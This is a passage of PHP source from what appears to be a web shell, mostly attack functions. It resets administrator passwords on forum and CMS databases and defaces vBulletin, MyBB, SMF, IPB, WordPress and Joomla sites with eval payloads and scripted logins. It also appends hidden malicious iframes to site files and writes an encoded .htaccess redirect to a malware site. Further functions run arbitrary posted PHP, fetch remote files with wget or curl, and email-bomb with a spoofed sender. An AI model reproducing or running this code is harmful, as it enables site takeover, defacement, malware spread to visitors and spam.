2389 if ($prefix == "" || $prefix == null) $sql = mysql_query("update mybb_users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
2390 else $sql = mysql_query("update " . $prefix . "users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
2391 if ($sql) {
2392 mysql_close($con);
2393 echo "<font class=txt>Password Changed Successfully</font>";
2394 } else echo "Cannot Change Password";
2395 } else if ($_GET['forums'] == "smf") {
2396 $newpass = $_GET['newipbpass'];
2397 $uid = $_GET['ipbuid'];
2398 $con = mysql_connect($localhost, $username, $password);
2399 $db = mysql_select_db($database, $con);
2400 if ($prefix == "" || $prefix == null) {
2401 $result = mysql_query("select member_name from smf_members where id_member = $uid");
2402 $row = mysql_fetch_array($result);
2403 $membername = $row['member_name'];
2404 $newpassword = sha1(strtolower($membername) . $newpass);
2405 $sql = mysql_query("update smf_members set passwd = '$newpassword' where id_member = '$uid'");
2406 } else {
2407 $result = mysql_query("select member_name from " . $prefix . "members where id_member = $uid");
2408 $row = mysql_fetch_array($result);
2409 $membername = $row['member_name'];
2410 $newpassword = sha1(strtolower($membername) . $newpass);
2411 $sql = mysql_query("update " . $prefix . "members set passwd = '$newpassword' where id_member = '$uid'");
2412 }
2413 if ($sql) {
2414 mysql_close($con);
2415 echo "<font class=txt>Password Changed Successfully</font>";
2416 } else echo "Cannot Change Password";
2417 } else if ($_GET['forums'] == "phpbb") {
2418 $newpass = $_POST['newipbpass'];
2419 $uid = $_POST['ipbuid'];
2420 $con = mysql_connect($localhost, $username, $password);
2421 $db = mysql_select_db($database, $con);
2422 $newpassword = md5($newpass);
2423 if (empty($prefix) || $prefix == null) $sql = mysql_query("update phpb_users set user_password = '$newpassword' where user_id = '$uid'");
2424 else $sql = mysql_query("update " . $prefix . "users set user_password = '$newpassword' where user_id = '$uid'");
2425 if ($sql) {
2426 mysql_close($con);
2427 echo "<font class=txt>Password Changed Successfully</font>";
2428 } else echo "Cannot Change Password";
2429 } else if ($_GET['forums'] == "ipb") {
2430 $newpass = $_POST['newipbpass'];
2431 $uid = $_POST['ipbuid'];
2432 $con = mysql_connect($localhost, $username, $password);
2433 $db = mysql_select_db($database, $con);
2434 $salt = "eghj";
2435 $newpassword = md5(md5($salt) . md5($newpass));
2436 if ($prefix == "" || $prefix == null) $sql = mysql_query("update members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
2437 else $sql = mysql_query("update " . $prefix . "members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
2438 if ($sql) {
2439 mysql_close($con);
2440 echo "<font class=txt>Password Changed Successfully</font>";
2441 } else echo "Cannot Change Password";
2442 } else if ($_GET['forums'] == "wp") {
2443 $uname = $_GET['uname'];
2444 $con = mysql_connect($localhost, $username, $password);
2445 $db = mysql_select_db($database, $con);
2446 $newpassword = md5($newpass);
2447 $sql = mysql_query("update " . $prefix . "users set user_pass = '$newpassword', user_login = '$uname'");
2448 if ($sql) {
2449 mysql_close($con);
2450 echo "<font class=txt>Password Changed Successfully</font>";
2451 } else echo "Cannot Change Password";
2452 } else if ($_GET['forums'] == "joomla") {
2453 $newjoomlapass = $_GET['newjoomlapass'];
2454 $joomlauname = $_GET['username'];
2455 $con = mysql_connect($localhost, $username, $password);
2456 $db = mysql_select_db($database, $con);
2457 $newpassword = md5($newjoomlapass);
2458 $sql = mysql_query("update " . $prefix . "users set password = '$newpassword', username = '$joomlauname'");
2459 if ($sql) {
2460 mysql_close($con);
2461 echo "<font class=txt>Password Changed Successfully</font>";
2462 } else echo "Cannot Change Password";
2463 }
2464} else if (isset($_POST['forumdeface'])) {
2465 $localhost = $_POST['f1'];
2466 $database = $_POST['f2'];
2467 $username = $_POST['f3'];
2468 $password = $_POST['f4'];
2469 $index = $_POST['index'];
2470 $prefix = $_POST['tableprefix'];
2471 if ($_POST['forumdeface'] == "vb") {
2472 $con = @mysql_connect($localhost, $username, $password);
2473 $db = @mysql_select_db($database, $con);
2474 $index = str_replace('"', '\"', $index);
2475 $attack = "{\${eval(base64_decode(\'";
2476 $attack.= base64_encode("echo \"$index\";");
2477 $attack.= "\'))}}{\${exit()}}</textarea>";
2478 if ($prefix == "" || $prefix == null) $query = "UPDATE template SET template = '$attack'";
2479 else $query = "UPDATE " . $prefix . "template SET template = '$attack'";
2480 $result = @mysql_query($query, $con);
2481 if ($result) echo "<center><font class=txt size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>";
2482 else echo "<center><font size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>";
2483 } else if ($_POST['forumdeface'] == "mybb") {
2484 $con = @mysql_connect($localhost, $username, $password);
2485 $db = @mysql_select_db($database, $con);
2486 $attack = "{\${eval(base64_decode(\'";
2487 $attack.= base64_encode("echo \"$index\";");
2488 $attack.= "\'))}}{\${exit()}}</textarea>";
2489 $attack = str_replace('"', "\'", $attack);
2490 if ($prefix == "" || $prefix == null) $query = "UPDATE mybb_templates SET template = '$attack'";
2491 else $query = "UPDATE " . $prefix . "templates SET template = '$attack'";
2492 $result = @mysql_query($query, $con);
2493 if ($result) echo "<center><font class=txt size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>";
2494 else echo "<center><font size=4><blink>Cannot Deface Mybb Forum</blink></font></center>";
2495 } else if ($_POST['forumdeface'] == "smf") {
2496 $head = $_POST['head'];
2497 $catid = $_POST['f5'];
2498 $con = @mysql_connect($localhost, $username, $password);
2499 $db = @mysql_select_db($database, $con);
2500 if ($prefix == "" || $prefix == null) $query = "UPDATE boards SET name='$head', description='$index' WHERE id_cat='$catid'";
2501 else $query = "UPDATE " . $prefix . "boards SET name='$head', description='$index' WHERE id_cat='$catid'";
2502 $result = @mysql_query($query, $con);
2503 if ($result) echo "<center><font class=txt size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>";
2504 else echo "<center><font size=4><blink>Cannot Deface SMF Forum</blink></font></center>";
2505 } else if ($_POST['forumdeface'] == "ipb") {
2506 $head = $_POST['head'];
2507 $catid = $_POST['f5'];
2508 $IPB = "forums";
2509 $con = @mysql_connect($localhost, $username, $password);
2510 $db = @mysql_select_db($database, $con);
2511 if ($prefix == "" || $prefix == null) $result = @mysql_query($query = "UPDATE $IPB SET name = '$head', description = '$index' where id = '$catid'");
2512 else $result = @mysql_query($query = "UPDATE $prefix.$IPB SET name = '$head', description = '$index' where id = '$catid'");
2513 if ($result) echo "<center><font class=txt size=4><blink>Forum Defaced Successfully</blink></font></center>";
2514 else echo "<center><font size=4><blink>Cannot Deface Forum</blink></font></center>";
2515 } else if ($_POST['forumdeface'] == "wp") {
2516 $site_url = $_POST['siteurl'];
2517 $con = @mysql_connect($localhost, $username, $password);
2518 $db = @mysql_select_db($database, $con);
2519 $req1 = mysql_query("UPDATE `" . $prefix . "users` SET `user_login` = 'admin',`user_pass` = '$1$42REgxSR$.tLV4PSbQmCKsisyCSyhq.'");
2520 echo ("<br>[+] Changing admin password to 123456789<br>");
2521 if ($req1) {
2522 $req = mysql_query("SELECT * from `" . $prefix . "options` WHERE option_name='home'");
2523 $data = mysql_fetch_array($req);
2524 if (empty($site_url)) $site_url = $data["option_value"];
2525 $output.= "Site : " . $site_url . "<br>";
2526 $req = mysql_query("SELECT * from `" . $prefix . "options` WHERE option_name='template'");
2527 $data = mysql_fetch_array($req);
2528 $template = $data["option_value"];
2529 $req = mysql_query("SELECT * from `" . $prefix . "options` WHERE option_name='current_theme'");
2530 $data = mysql_fetch_array($req);
2531 $current_theme = $data["option_value"];
2532 $useragent = "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
2533 $url2 = $site_url . "/wp-login.php";
2534 $ch = curl_init();
2535 curl_setopt($ch, CURLOPT_URL, $url2);
2536 curl_setopt($ch, CURLOPT_POST, 1);
2537 curl_setopt($ch, CURLOPT_POSTFIELDS, "log=admin&pwd=123456789&rememberme=forever&wp-submit=Log In&testcookie=1");
2538 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2539 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2540 curl_setopt($ch, CURLOPT_HEADER, 0);
2541 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
2542 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2543 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
2544 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
2545 $buffer = curl_exec($ch);
2546 $pos = strpos($buffer, "action=logout");
2547 if ($pos === false) {
2548 $output.= "[-] Successful Login<br />";
2549 } else {
2550 $output.= "[+] Successful Login<br />";
2551 }
2552 $url2 = $site_url . '/wp-admin/theme-editor.php?file=index.php&theme=' . urlencode($template);
2553 curl_setopt($ch, CURLOPT_URL, $url2);
2554 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
2555 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2556 curl_setopt($ch, CURLOPT_HEADER, 0);
2557 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2558 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
2559 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
2560 $buffer0 = curl_exec($ch);
2561 $_wpnonce = entre2v2($buffer0, '<input type="hidden" id="_wpnonce" name="_wpnonce" value="', '" />');
2562 $_file = entre2v2($buffer0, '<input type="hidden" name="file" value="', '" />');
2563 if (substr_count($_file, "index.php") != 0) {
2564 $url2 = $site_url . "/wp-admin/theme-editor.php";
2565 curl_setopt($ch, CURLOPT_URL, $url2);
2566 curl_setopt($ch, CURLOPT_POST, 1);
2567 curl_setopt($ch, CURLOPT_POSTFIELDS, "newcontent=" . $index . "&action=update&file=" . $_file . "&_wpnonce=" . $_wpnonce . "&submit=Update File");
2568 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2569 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2570 curl_setopt($ch, CURLOPT_HEADER, 0);
2571 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2572 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
2573 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
2574 $buffer = curl_exec($ch);
2575 curl_close($ch);
2576 $pos = strpos($buffer, '<div id="message" class="updated">');
2577 $cond = 0;
2578 if ($pos === false) {
2579 $output.= "<center><font size=4><blink>Cannot Deface Wordpress</blink></font></center>";
2580 } else {
2581 $output.= "<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
2582 $cond = 1;
2583 }
2584 } else {
2585 $url2 = $site_url . '/wp-admin/theme-editor.php?file=/themes/' . $template . '/index.php&theme=' . urlencode($current_theme) . '&dir=theme';
2586 curl_setopt($ch, CURLOPT_URL, $url2);
2587 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
2588 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2589 curl_setopt($ch, CURLOPT_HEADER, 0);
2590 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2591 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
2592 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
2593 $buffer0 = curl_exec($ch);
2594 $_wpnonce = entre2v2($buffer0, '<input type="hidden" id="_wpnonce" name="_wpnonce" value="', '" />');
2595 $_file = entre2v2($buffer0, '<input type="hidden" name="file" value="', '" />');
2596 $url2 = $site_url . "/wp-admin/theme-editor.php";
2597 curl_setopt($ch, CURLOPT_URL, $url2);
2598 curl_setopt($ch, CURLOPT_POST, 1);
2599 curl_setopt($ch, CURLOPT_POSTFIELDS, "newcontent=" . $index . "&action=update&file=" . $_file . "&_wpnonce=" . $_wpnonce . "&submit=Update File");
2600 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2601 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2602 curl_setopt($ch, CURLOPT_HEADER, 0);
2603 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2604 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
2605 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
2606 $buffer = curl_exec($ch);
2607 curl_close($ch);
2608 $pos = strpos($buffer, '<div id="message" class="updated">');
2609 $cond = 0;
2610 if ($pos === false) {
2611 $output.= "<center><font size=4><blink>Cannot Deface Wordpress</blink></font></center>";
2612 } else {
2613 $output.= "<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
2614 $cond = 1;
2615 }
2616 }
2617 } else {
2618 $output.= "[-] DB Error<br />";
2619 }
2620 echo $output;
2621 global $base_path;
2622 unlink($base_path . 'COOKIE.txt');
2623 } else if ($_POST['forumdeface'] == "joomla") {
2624 $site_url = $_POST['siteurl'];
2625 $dbprefix = $_POST['tableprefix'];
2626 $dbname = $_POST['f2'];
2627 $h = "<? echo(stripslashes(base64_decode('" . urlencode(base64_encode(str_replace("'", "'", ($_POST['index'])))) . "'))); exit; ?>";
2628 $co = randomt();
2629 $link = mysql_connect($localhost, $username, $password);
2630 mysql_select_db($dbname, $link);
2631 $tryChaningInfo = mysql_query("UPDATE " . $dbprefix . "users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
2632 $req = mysql_query("SELECT * from `" . $dbprefix . "extensions` ");
2633 if ($req) {
2634 $req = mysql_query("SELECT * from `" . $dbprefix . "template_styles` WHERE client_id='0' and home='1'");
2635 $data = mysql_fetch_array($req);
2636 $template_name = $data["template"];
2637 $req = mysql_query("SELECT * from `" . $dbprefix . "extensions` WHERE name='" . $template_name . "'");
2638 $data = mysql_fetch_array($req);
2639 $template_id = $data["extension_id"];
2640 $url2 = $site_url . "/index.php";
2641 $ch = curl_init();
2642 curl_setopt($ch, CURLOPT_URL, $url2);
2643 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2644 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2645 curl_setopt($ch, CURLOPT_HEADER, 1);
2646 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2647 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2648 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2649 $buffer = curl_exec($ch);
2650 $return = entre2v2($buffer, '<input type="hidden" name="return" value="', '"');
2651 $hidden = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 4);
2652 $url2 = $site_url . "/index.php";
2653 $ch = curl_init();
2654 curl_setopt($ch, CURLOPT_URL, $url2);
2655 curl_setopt($ch, CURLOPT_POST, 1);
2656 curl_setopt($ch, CURLOPT_POSTFIELDS, "username=admin&passwd=123456789&option=com_login&task=login&return=" . $return . "&" . $hidden . "=1");
2657 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2658 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2659 curl_setopt($ch, CURLOPT_HEADER, 0);
2660 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2661 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2662 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2663 $buffer = curl_exec($ch);
2664 $pos = strpos($buffer, "com_config");
2665 if ($pos === false) {
2666 echo ("<br>[-] Login Error");
2667 exit;
2668 }
2669 $url2 = $site_url . "/index.php?option=com_templates&task=source.edit&id=" . base64_encode($template_id . ":index.php");
2670 $ch = curl_init();
2671 curl_setopt($ch, CURLOPT_URL, $url2);
2672 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2673 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2674 curl_setopt($ch, CURLOPT_HEADER, 0);
2675 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2676 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2677 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2678 $buffer = curl_exec($ch);
2679 $hidden2 = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 2);
2680 if (!$hidden2) {
2681 echo ("<br>[-] index.php Not found in Theme Editor");
2682 exit;
2683 }
2684 $url2 = $site_url . "/index.php?option=com_templates&layout=edit";
2685 $ch = curl_init();
2686 curl_setopt($ch, CURLOPT_URL, $url2);
2687 curl_setopt($ch, CURLOPT_POST, 1);
2688 curl_setopt($ch, CURLOPT_POSTFIELDS, "jform[source]=" . $h . "&jform[filename]=index.php&jform[extension_id]=" . $template_id . "&" . $hidden2 . "=1&task=source.save");
2689 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2690 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2691 curl_setopt($ch, CURLOPT_HEADER, 0);
2692 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2693 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2694 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2695 $buffer = curl_exec($ch);
2696 $pos = strpos($buffer, '<dd class="message message">');
2697 if ($pos === false) {
2698 echo ("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
2699 } else {
2700 echo ("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
2701 }
2702 } else {
2703 $req = mysql_query("SELECT * from `" . $dbprefix . "templates_menu` WHERE client_id='0'");
2704 $data = mysql_fetch_array($req);
2705 $template_name = $data["template"];
2706 $url2 = $site_url . "/index.php";
2707 $ch = curl_init();
2708 curl_setopt($ch, CURLOPT_URL, $url2);
2709 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2710 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2711 curl_setopt($ch, CURLOPT_HEADER, 1);
2712 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2713 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2714 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2715 $buffer = curl_exec($ch);
2716 $hidden = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 3);
2717 $url2 = $site_url . "/index.php";
2718 $ch = curl_init();
2719 curl_setopt($ch, CURLOPT_URL, $url2);
2720 curl_setopt($ch, CURLOPT_POST, 1);
2721 curl_setopt($ch, CURLOPT_POSTFIELDS, "username=admin&passwd=123456789&option=com_login&task=login&" . $hidden . "=1");
2722 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2723 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2724 curl_setopt($ch, CURLOPT_HEADER, 0);
2725 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2726 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2727 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2728 $buffer = curl_exec($ch);
2729 $pos = strpos($buffer, "com_config");
2730 if ($pos === false) {
2731 echo ("<br>[-] Login Error");
2732 exit;
2733 }
2734 $url2 = $site_url . "/index.php?option=com_templates&task=edit_source&client=0&id=" . $template_name;
2735 $ch = curl_init();
2736 curl_setopt($ch, CURLOPT_URL, $url2);
2737 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2738 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2739 curl_setopt($ch, CURLOPT_HEADER, 0);
2740 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2741 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2742 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2743 $buffer = curl_exec($ch);
2744 $hidden2 = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 6);
2745 if (!$hidden2) {
2746 echo ("<br>[-] index.php Not found in Theme Editor");
2747 }
2748 $url2 = $site_url . "/index.php?option=com_templates&layout=edit";
2749 $ch = curl_init();
2750 curl_setopt($ch, CURLOPT_URL, $url2);
2751 curl_setopt($ch, CURLOPT_POST, 1);
2752 curl_setopt($ch, CURLOPT_POSTFIELDS, "filecontent=" . $h . "&id=" . $template_name . "&cid[]=" . $template_name . "&" . $hidden2 . "=1&task=save_source&client=0");
2753 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2754 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2755 curl_setopt($ch, CURLOPT_HEADER, 0);
2756 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2757 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2758 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2759 $buffer = curl_exec($ch);
2760 $pos = strpos($buffer, '<dd class="message message fade">');
2761 if ($pos === false) {
2762 echo ("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
2763 exit;
2764 } else {
2765 echo ("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
2766 }
2767 }
2768 }
2769} else if (isset($_POST['pathtomass']) && $_POST['pathtomass'] != '' && isset($_POST['filetype']) && $_POST['filetype'] != '' && isset($_POST['mode']) && $_POST['mode'] != '' && isset($_POST['injectthis']) && $_POST['injectthis'] != '') {
2770 $filetype = $_POST['filetype'];
2771 $mode = "a";
2772 if ($_POST['mode'] == 'Apender') $mode = "a";
2773 if ($_POST['mode'] == 'Overwriter') $mode = "w";
2774 if (is_dir($_POST['pathtomass'])) {
2775 $lolinject = $_POST['injectthis'];
2776 $mypath = $_POST['pathtomass'] . $directorysperator . "*." . $filetype;
2777 if (substr($_POST['pathtomass'], -1) == "\")
2778 $mypath = $_POST['pathtomass'] . " * . ".$filetype;
2779 foreach (glob($mypath) as $injectj00)
2780 {
2781 if($injectj00 == __FILE__)
2782 continue;
2783 $fp=fopen($injectj00,$mode);
2784 if (fputs($fp,$lolinject))
2785 echo '<br><font class=txt size=3>'.$injectj00.' was injected<br></font>';
2786 else
2787 echo 'failed to inject '.$injectj00.'<br>';
2788 }
2789 }
2790 else
2791 echo '<b>'.$_POST['pathtomass'].' is not available!</b>';
2792}
2793else if(isset($_POST['mailfunction']))
2794{
2795 if($_POST['mailfunction'] == "dobombing")
2796 {
2797 if(isset($_POST['to']) && isset($_POST['subject']) && isset($_POST['message']) && isset($_POST['times']) && $_POST['to'] != '' && $_POST['subject'] != '' && $_POST['message'] != '' && $_POST['times'] != '')
2798 {
2799 $times = $_POST['times'];
2800 while($times--)
2801 {
2802 if(isset($_POST['padding']))
2803 {
2804 $fromPadd = rand(0,9999);
2805 $subjectPadd = "--ID : ".rand(0,9999999);
2806 $messagePadd = "------------------------------".rand(0,99999999);
2807
2808 }
2809 $from = "president $fromPadd@whitehouse . gov";
2810 if(!mail($_POST['to'],$_POST['subject'].$subjectPadd,$_POST['message'].$messagePadd,"From : ".$from))
2811 {
2812 $error = 1;
2813 echo " < center > < fontsize = 3 > < blink > < blink > SomeErrorOccured! < / blink > < / font > < / center > ";
2814 break;
2815 }
2816 }
2817 if($error != 1)
2818 echo " < center > < fontclass = txtsize = 3 > < blink > Mail(s) Sent! < / blink > < / font > < / center > ";
2819 }
2820 }
2821 else if($_POST['mailfunction'] == "massmailing")
2822 {
2823 if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['message']))
2824 {
2825 if(mail($_POST['to'],$_POST['subject'],$_POST['message'],"From:
2826 ".$_POST['from']))
2827 echo " < center > < fontclass = txtsize = 3 > < blink > MailSent! < / blink > < / font > < / center > ";
2828 else
2829 echo " < center > < fontsize = 3 > < blink > SomeErrorOccured! < / blink > < / font > < / center > ";
2830 }
2831 }
2832}
2833else if(isset($_POST['code']))
2834{
2835 if($_POST['code'] != null && isset($_POST['intext']) && $_POST['intext'] == "true")
2836 {
2837 // FIlter Some Chars we dont need
2838 ?><br>
2839 <textarea name="code" class="box" cols="120" rows="10"><?php
2840 $code = str_replace(" < ? php","",$_POST['code']);
2841 $code = str_replace(" < ? ","",$code);
2842 $code = str_replace(" ?>","",$code);
2843
2844 // Evaluate PHP CoDE!
2845 htmlspecialchars(eval($code));
2846 ?>
2847 </textarea><?php
2848 } else if ($_POST['code'] != null && $_POST['intext'] == "false") {
2849 $code = str_replace("<?php", "", $_POST['code']);
2850 $code = str_replace("<?", "", $code);
2851 $code = str_replace("?>", "", $code);
2852 // Evaluate PHP CoDE!
2853
2854?><br><font size="4">Result of execution this PHP-code :</font><br><font class=txt><?php htmlspecialchars(eval($code)); ?></font><?php
2855 }
2856 } else if (isset($_GET['infect'])) {
2857 $coun = 0;
2858 $str = "<iframe width=0px height=0px frameborder=no name=frame1 src=" . $malsite . "> </iframe>";
2859 foreach (glob($_GET['path'] . "*.php") as $injectj00) {
2860 if ($injectj00 == __FILE__) continue;
2861 if ($myfile = fopen($injectj00, 'a')) {
2862 fputs($myfile, $str);
2863 fclose($myfile);
2864 $coun = 1;
2865 }
2866 }
2867 foreach (glob($_GET['path'] . $directorysperator . "*.htm") as $injectj00) {
2868 if ($myfile = fopen($injectj00, 'a')) {
2869 fputs($myfile, $str);
2870 fclose($myfile);
2871 $coun = 1;
2872 }
2873 }
2874 foreach (glob($_GET['path'] . $directorysperator . "*.html") as $injectj00) {
2875 if ($myfile = fopen($injectj00, 'a')) {
2876 fputs($myfile, $str);
2877 fclose($myfile);
2878 $coun = 1;
2879 }
2880 }
2881 if ($coun == 1) echo "<center>Done !!!!<center>";
2882 else echo "<center>Cannot open files !!!!<center>";
2883 } else if (isset($_GET['redirect'])) {
2884 if ($myfile = fopen(".htaccess", 'a')) {
2885 $mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
2886 fwrite($myfile, gzuncompress(base64_decode($mal)));
2887 fwrite($myfile, "
2888
2889");
2890 fclose($myfile);
2891 echo "<center>Done !!!!<center>";
2892 } else echo "<center>Cannot open file !!!!<center>";
2893 } else if (isset($_GET['malware'])) { ?>
2894 <input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
2895 <center><table><tr><td><a href=# onClick="malwarefun('infect')"><font class=txt size="4">| Infect Users |</font></a></td>
2896 <td><a href=javascript:void(0) onClick="malwarefun('redirect')"><font class=txt size="4">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>
2897 <div id="showmal"></div>
2898 <?php
2899 } else if (isset($_GET['codeinsert'])) {
2900 if ($file1 = fopen(".htaccess", 'r')) {
2901?><div id="showcode"></div>
2902 <form method=post>
2903 <textarea rows=9 cols=110 name="code" class=box><?php while (!feof($file1)) {
2904 echo fgets($file1);
2905 } ?></textarea><br>
2906 <input type="button" onClick="codeinsert(code.value)" value=" Insert " class=but>
2907 </form>
2908 <?php
2909 } else echo "<center>Cannot Open File!!</center>";
2910 } else if (isset($_POST['getcode'])) {
2911 if ($myfile = fopen(".htaccess", 'a')) {
2912 fwrite($myfile, $_POST['getcode']);
2913 fwrite($myfile, "
2914
2915");
2916 fclose($myfile);
2917 echo "<font class=txt>Code Inserted Successfully!!!!</font>";
2918 } else echo "Permission Denied";
2919 } else if (isset($_GET['uploadurl'])) {
2920 $functiontype = trim($_GET['functiontype']);
2921 $wurl = trim($_GET['wurl']);
2922 $path = magicboom($_GET['path']);
2923 function remotedownload($cmd, $url) {
2924 $namafile = basename($url);
2925 switch ($cmd) {
2926 case 'wwget' : execmd(which('wget') . " " . $url . " -O " . $namafile);
2927 break;
2928 case 'wlynx' : execmd(which('lynx') . " -source " . $url . " > " . $namafile);
2929 break;
2930 case 'wfread':
2931 execmd($wurl, $namafile);
2932 break;
2933 case 'wfetch':
2934 execmd(which('fetch') . " -o " . $namafile . " -p " . $url);
2935 break;
2936 case 'wlinks':
2937 execmd(which('links') . " -source " . $url . " > " . $namafile);
2938 break;
2939 case 'wget':
2940 execmd(which('GET') . " " . $url . " > " . $namafile);
2941 break;
2942 case 'wcurl':
2943 execmd(which('curl') . " " . $url . " -o " . $namafile);
2944 break;
2945 default:
2946 break;
2947 }
2948 return $namafile;
2949}
2950$namafile = remotedownload($functiontype, $wurl);
2951$fullpath = $path . $directorysperator . $namafile;
2952if (is_file($fullpath)) {
2953 echo "<center><font class=txt>File uploaded to $fullpath</font></center>";
2954} else echo "<center>Failed to upload $namafile</center>";
2955} else if (isset($_GET['createfolder'])) {
2956 if (!mkdir($_GET['createfolder'])) echo "Failed To create";
2957 else echo "<font class=txt>Folder Created Successfully</font>";
2958} else if (isset($_GET['selfkill'])) {
2959 if (unlink(__FILE__)) echo "<br><center><font size=5>Good Bye......</font></center>";
2960 else echo "<br><center><font size=5>Shell cannot be removed......</font></center>";
2961} else if (isset($_GET['Create'])) {
2962?>
2963 <form method="post">
2964 <input type="hidden" name="filecreator" value="<?php echo $_GET['Create']; ?>">
2965 <textarea name="filecontent" rows="12" cols="100" class="box"></textarea><br />
2966 <input type="button" onClick="createfile(filecreator.value,filecontent.value)" value=" Save " class="but"/>
2967 </form>
2968
2969<?php
2970} else if (isset($_POST['filecreator']) && isset($_POST['filecontent'])) {
2971 $content = $_POST['filecontent'];
2972 if ($file_pointer = fopen($_POST['filecreator'], "w+")) {
2973 fwrite($file_pointer, $content);
2974 fclose($file_pointer);
2975 echo "<font class=txt>File Created Successfully</font>";
2976 } else echo "Cannot Create File";
2977} else if (isset($_REQUEST["massdeface"])) {
